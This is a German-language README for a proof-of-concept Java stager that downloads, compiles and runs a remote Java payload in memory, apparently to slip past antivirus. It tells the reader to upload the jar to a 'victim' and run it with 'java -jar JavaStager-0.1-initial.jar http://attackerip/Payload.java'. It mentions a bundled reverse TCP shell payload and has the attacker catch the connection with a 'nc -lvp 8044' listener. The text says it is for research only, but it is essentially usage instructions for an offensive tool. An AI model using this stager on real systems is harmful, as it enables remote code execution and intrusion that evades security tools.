
Ein PoC Java Stager, der eine Java-Datei im Speicher herunterladen, kompilieren und ausführen kann.
Ein PoC Java-Stager, der eine Java-Datei herunterladen, kompilieren und im Speicher ausführen kann.
Dies dient nur zu Forschungszwecken, verwenden Sie es nicht an Orten, an denen Sie nicht autorisiert sind.
Dies basiert auf der Arbeit von James Williams aus seinem Vortrag "Next Gen AV vs My Shitty Code", verfügbar hier:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
Die wichtigsten Teile des Vortrags für mich sind:
Sein Beispiel ist in .NET, aber im Vortrag schlug er vor, dass Java in der Lage wäre, die gleichen Techniken anzuwenden. Ich habe einen rudimentären PoC implementiert, der meiner Meinung nach den obigen Techniken entspricht.
Die Ausgabe in NetBeans enthielt eine Zeile wie diese:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
Um auf Ihrem Opfer zu arbeiten, müssen Sie die Datei "JavaStager*.jar" und den Ordner "lib" mit Janino aus dem Ordner "target" hochladen.
Der folgende Befehl führt den Stager aus:
java -jar JavaStager-0.1-initial.jar
Sie werden mit der Verwendung wie gezeigt aufgefordert:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
Die "url" ist der einzige Parameter, der an den Stager übergeben wird. Ein Beispiel für die Verwendung wäre:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
Ihr Payload muss in einer Datei namens "Payload.java" enthalten sein, und Ihr Exploit-Code muss sich in einer statischen Methode namens "Run" befinden. Das Folgende zeigt die Vorlage, wenn Sie Ihre eigene schreiben möchten:
public class Payload {
public static void Run() {
// Your code here
}
}
Ich habe ein Beispiel für ein Reverse-TCP-Payload in der Datei "TCPReverseShell.java" bereitgestellt. Um Namenskonflikte zu vermeiden, heißt diese nicht "Payload.java" und der Klassenname ist falsch. Der Kopfkommentar in "TCPReverseShell.java" erklärt, wie man sie modifiziert, damit sie funktioniert.
Sie müssen Ihre Datei "Payload.java" auf einem HTTP-Server hosten. Sie können Apache verwenden, wenn Sie möchten, oder einfache HTTP/HTTPS-Dienste in Python2 und Python3, wie in meinem Blog beschrieben:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
Der Angreifer muss einen netcat-Listener starten, um die Rückverbindung mit der standardmäßigen nc -lvp 8044-Technik abzufangen.
Blogbeitrag, der erklärt, wie alles funktioniert:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
Video, das zeigt, wie es in der Praxis funktioniert: